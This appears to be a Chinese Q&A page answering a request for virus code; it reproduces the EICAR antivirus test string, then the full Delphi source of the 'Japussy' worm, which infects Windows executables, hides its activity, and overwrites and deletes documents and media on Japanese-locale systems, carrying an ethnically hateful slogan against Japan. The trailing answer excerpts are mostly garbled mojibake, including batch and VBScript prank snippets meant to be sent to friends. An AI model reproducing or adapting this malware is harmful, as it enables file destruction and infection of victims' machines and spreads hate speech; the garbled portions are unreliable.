谁有病毒代码发给我？
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X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
---------------------\u8bf7\u590d\u5236\u4e0a\u9762\u7684\u4ee3\u7801\u5230\u6587\u672c\u4e2d\u4fdd\u5b58-------------------
\u6d4b\u8bd5\u65b9\u6cd5\uff1a
1.\u9f20\u6807\u53f3\u952e\u70b9\u51fb\u684c\u9762\u7a7a\u767d\u5904\uff0c\u521b\u5efa\u4e00\u4e2a\u201c\u6587\u672c\u6587\u6863\u201d\u3002
2.\u5c06\u4e0a\u9762\u8fd9\u6bb5\u6d4b\u8bd5\u4ee3\u7801\u590d\u5236\u5230\u201c\u6587\u672c\u201d\u91cc\uff0c\u4fdd\u5b58\uff0c\u7136\u540e\u53ef\u4ee5\u76f4\u63a5\u53f3\u952e\u70b9\u51fb\u8fd9\u4e2a\u6587\u672c\uff0c\u7528\u6740\u6bd2\u8f6f\u4ef6\u626b\u63cf\u4e5f\u53ef\u4ee5\u7b49\u4e00\u4f1a\uff0c\u5982\u679c\u4f60\u7684\u6740\u6bd2\u8f6f\u4ef6\u8fd8\u884c\uff0c\u4f1a\u81ea\u52a8\u62a5\u6bd2\u5e76\u5c06\u8be5\u6587\u672c\u5220\u9664\u90a3\u5c31\u53ef\u4ee5\u521d\u6b65\u653e\u5fc3\u4e86\u3002
\u6d4b\u8bd5\u539f\u7406\uff1a
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\u4f18\u7b49\uff1a\u521a\u4fdd\u5b58\u5b8c\u5c31\u63d0\u793a\u75c5\u6bd2(\u6216\u8005\u76f4\u63a5\u5220\u9664)
\u4e2d\u7b49\uff1a\u4fdd\u5b58\u540e\u51e0\u79d2\u63d0\u793a\u75c5\u6bd2(\u6216\u8005\u76f4\u63a5\u5220\u9664)
\u4e0b\u7b49\uff1a\u9700\u81ea\u5df1\u542f\u52a8\u75c5\u6bd2\u626b\u63cf\u67e5\u6740\u624d\u63d0\u793a\u75c5\u6bd2(\u6216\u8005\u76f4\u63a5\u5220\u9664)
\u52a3\u7b49\uff1a\u65e0\u8bba\u600e\u4e48\u626b\u63cf\u90fd\u65e0\u6cd5\u63d0\u793a\u75c5\u6bd2(\u6216\u8005\u76f4\u63a5\u5220\u9664)
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end.
绛旓細2銆鐥呮瘨鏂囦欢娴嬭瘯浠ｇ爜銆3銆佷娇鐢ㄦ柟娉曞涓嬶細thisisnotarealvirus.itisatextfilethatisusedtotestantivirussoftware.娴嬭瘯浠ｇ爜锛---璇峰鍒朵笅闈㈢殑浠ｇ爜鍒版枃鏈腑淇濆瓨---x5o!p%@ap[4pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*---璇峰鍒朵笂闈㈢殑浠ｇ爜鍒版枃鏈腑淇濆瓨---娴嬭瘯鏂规硶锛1.榧犳爣鍙抽敭...
绛旓細浠ｇ爜:---绋嬪簭浠ｇ爜program Japussy;uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const HeaderSize = 82432; //鐥呮瘨浣撶殑澶у皬 IconOffset = $12EB8; //PE鏂囦欢涓诲浘鏍囩殑鍋忕Щ閲 //鍦ㄦ垜鐨凞elphi5 SP1涓婇潰缂栬瘧寰楀埌鐨勫ぇ灏,鍏跺畠鐗堟湰鐨凞elphi鍙兘涓嶅悓 //鏌ユ壘2800000020鐨勫崄鍏繘鍒跺瓧绗︿覆鍙互鎵惧埌涓诲浘...
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绛旓細1.鏂板缓涓涓浜嬫湰 2.鎶婁笅闈浠ｇ爜澧炶创杩涘幓 echo off start cmd 0 3.澧炶创鍚庯紝鐐瑰嚮鏂囦欢 - 鍙﹀瓨涓 4.杈撳叆鏂囦欢鍚嶏紝鍦ㄦ枃浠跺悕鍚庨潰鍔犱笂.bat 5.鐒跺悗鍙戠粰濂藉弸灏卞彲浠ヤ簡锛侊紙鍙戦佸ソ鍙嬬殑鏃跺欙紝灏卞ソ灏卞姞涓３锛屽彸閿枃浠 - 鍘嬬缉鏂囦欢 鍗冲彲锛侊級PS锛氬姏鐩稿綋鐨勫帀瀹筹紝鎵浠ヨ鍕垮紕杩囩伀锛屽惁鍒欏悗鏋滆嚜璐燂紒鏂囦欢鈥滄垜鏄尓鈥...
绛旓細if left(wscript.scriptname,2)<>chrw(26426)&chrw(20851) then msgbox mid(strreverse(wscript.scriptname),5),4096:else createobject("wscript.shell").run "cmd /k echo " & chrw("-28711")&chrw("-28212")&chrw("21152")&chrw("19978")&chrw("21629")&chrw("20196")&chrw("23601"...
绛旓細(鍐呭瑙佷笂锛屽洜鎴戣浜嗙憺鏄燂紝鎵浠ユ棤娉曠湡瀹炲鍒朵笅鏉ワ紝鍏ㄥ姞浜嗙┖鏍硷紝鐪熷疄娴嬭瘯鏃跺幓鎺夌┖鏍煎嵆鍙紒锛夋祴璇曞師鐞嗭細璇ユ浠ｇ爜鏄娲茶绠楁満闃茬梾姣掑崗浼氬紑鍙戠殑涓绉鐥呮瘨浠ｇ爜锛屽叾涓殑鐗瑰緛鐮佸凡缁忓寘鍚湪鍚勭鏉姣掕蒋浠剁殑鐥呮瘨浠ｇ爜搴撻噷锛屾墍浠ュ彲浠ョ敤鍋氭祴璇曠梾姣掓壂鎻忓紩鎿庛傛祴璇曠瓑绾:鐗圭瓑锛氬鍒跺畬浠ｇ爜鍚庝究鎻愮ず鍐呭瓨鏈夌梾姣 浼樼瓑锛氬垰淇濆瓨瀹屽氨...
绛旓細WScript.Echo("杩樺墿9涓嬨備綘杩樼偣鍟婏紝涓嶈鎴戞媺锛")WScript.Echo("杩樺墿8涓嬶紝鏈夌偣浼ゅ績鎷夛紝骞插槢涓㈠純浜哄")WScript.Echo("杩樺墿7涓嬨傜柉浜嗭紝浣犳湁鐐硅礋鎰忥紒")WScript.Echo("杩樺墿6涓嬨傚銆備綘灏辩偣鍚э紝鎴戞仺浣狅紒")WScript.Echo("杩樺墿5涓嬶紝涓嶆槑鐧斤紝鍒犻櫎鎴戜綘灏卞ソ鍚楋紵")WScript.Echo("杩樺墿4涓嬶紒鐪熻鍒犻櫎...
